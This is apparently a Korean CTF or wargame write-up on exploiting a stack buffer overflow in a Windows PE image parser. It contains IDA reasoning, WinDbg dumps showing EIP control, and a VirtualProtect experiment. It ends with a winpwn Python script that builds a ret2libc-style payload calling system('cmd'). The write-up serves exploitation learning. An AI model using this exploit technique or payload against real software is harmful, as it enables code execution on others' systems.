윈도우 이미지 파싱 프로그램쪽 바운티하기 전에 해보면 좋은 문제인것 같다.
먼저 원격 서버에 접속해서 PE파일의 동작을 확인하고, 소스코드가 제공이 되는지 확인을 한다.
소스코드를 볼 수 없으니까, PE파일을 로컬로 옮기고 IDA로 까서 진행해보면 된다.
소스코드
파일을 통해서 어떠한 동작들을 하는 것을 알 수 있다.
그냥 여기서 제일 먼저 봐야할 곳이 size 부분이다. ftell로 파일의 끝으로 이동해서 사이즈가 몇인지 검사한다. 문자가 몇개인지라고 생각했다. 그래서 ebp-2014h 이니까, 8212 + 4 + 4 넣고 하면 EIP가 제어가 될 것이다. 하지만 return 부분에서 fclose를 한다. 그리고 v11의 값도 41414141로 값이 덮이게 된다. 그래서 정상적으로 return 으로 돌아가지 않고, 문제가 발생한다.
어차피 해당 문제는 ASLR이 미적용이라 그냥 그값넣으면 되겠다.
다시 정리를 해보자면, 버퍼의 시작 주소를 기준으로 v11에 거리가 8200 이다. 그만큼 덮고 file pointer의 주소를 넣고
ret까지 덮으면 아래의 사진처럼 EIP제어가 된다.
이제, 이걸 통해서 ssh에 있는 wraper.sh를 실행을 하면 된다.
stack pivoting은 할 필요없어보인다.
eip=41414141 esp=0065fe80 ebp=41414141 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206
41414141 ?? ???
0:000> dd esp
0065fe80 41414141 41414141 41414141 41414141
0065fe90 41414141 41414141 41414141 41414141
0065fea0 00781608 0000001f 0065ff70 004013e3
0065feb0 00000002 00781670 00781948 77e1c2cb
0065fec0 00004720 1048da80 9e359bfc 00000000
0065fed0 cccccccc cccccccc cccccccc cccccccc
0065fee0 cccccccc cccccccc cccccccc cccccccc
0065fef0 00000100 00000002 00000001 0000000c
어떻게 해야할까
바운티였음 계산기 뛰우는데 여기서는 cmd 뛰우면 될것같다.
VirtualProtect 이용해서 권한 부여하고 쉘 코드 해서 해보자
!address 버퍼 했을 때 execute 권한이 있으면 됨
0:000> !address 0065de64
Mapping file section regions...
Mapping module regions...
Mapping PEB regions...
Mapping TEB and stack regions...
Mapping heap regions...
Mapping page heap regions...
Mapping other regions...
Mapping stack trace database regions...
Mapping activation context regions...
Usage: Stack
Base Address: 0065c000
End Address: 00660000
Region Size: 00004000 ( 16.000 kB)
State: 00001000 MEM_COMMIT
Protect: 00000004 PAGE_READWRITE
Type: 00020000 MEM_PRIVATE
Allocation Base: 00460000
Allocation Protect: 00000004 PAGE_READWRITE
More info: ~0k
Content source: 1 (target), length: 219c
그리고, 인자값 구성하고 정상적으로 하고 virtualprotect 함수를 호출하면 실행 권한이 생긴것을 알 수 있다.
0:000> !address 0065de64
Mapping file section regions...
Mapping module regions...
Mapping PEB regions...
Mapping TEB and stack regions...
Mapping heap regions...
Mapping page heap regions...
Mapping other regions...
Mapping stack trace database regions...
Mapping activation context regions...
Usage: Stack
Base Address: 0065d000
End Address: 0065e000
Region Size: 00001000 ( 4.000 kB)
State: 00001000 MEM_COMMIT
Protect: 00000040 PAGE_EXECUTE_READWRITE
Type: 00020000 MEM_PRIVATE
Allocation Base: 00460000
Allocation Protect: 00000004 PAGE_READWRITE
More info: ~0k
Content source: 1 (target), length: 19c
이제 쉘코드 넣으면 끝날것같다.
위에 방법대로 할려고 했다만, 쉘코드 공부 안해서 직접 짜야할 것 같아서 다른 방식으로 했다.
return to libc 처럼 했다. (아래의 사이트를 참고하면서 익스를 작성했다.)
https://ret2ver.github.io/2021/10/01/PE32-Advanced-stack-buffer-overflow/
로컬 익스플로잇
from winpwn import *
system = 0x75f23d30
cmd = 0x75ee47a4
ret = 0x42424242
fp = 0x75F94960
payload = 'A' * 8200
payload += p32(fp)
payload += 'B' * 12
payload += p32(system)
payload += p32(ret)
payload += p32(cmd)
payload = [ord(i) for i in payload]
with open('test.txt', 'wb') as f:
f.write(bytes(payload))
원격서버에 어떻게 test.txt 파일을 옮겨서 해야할지 잘 모르겠다.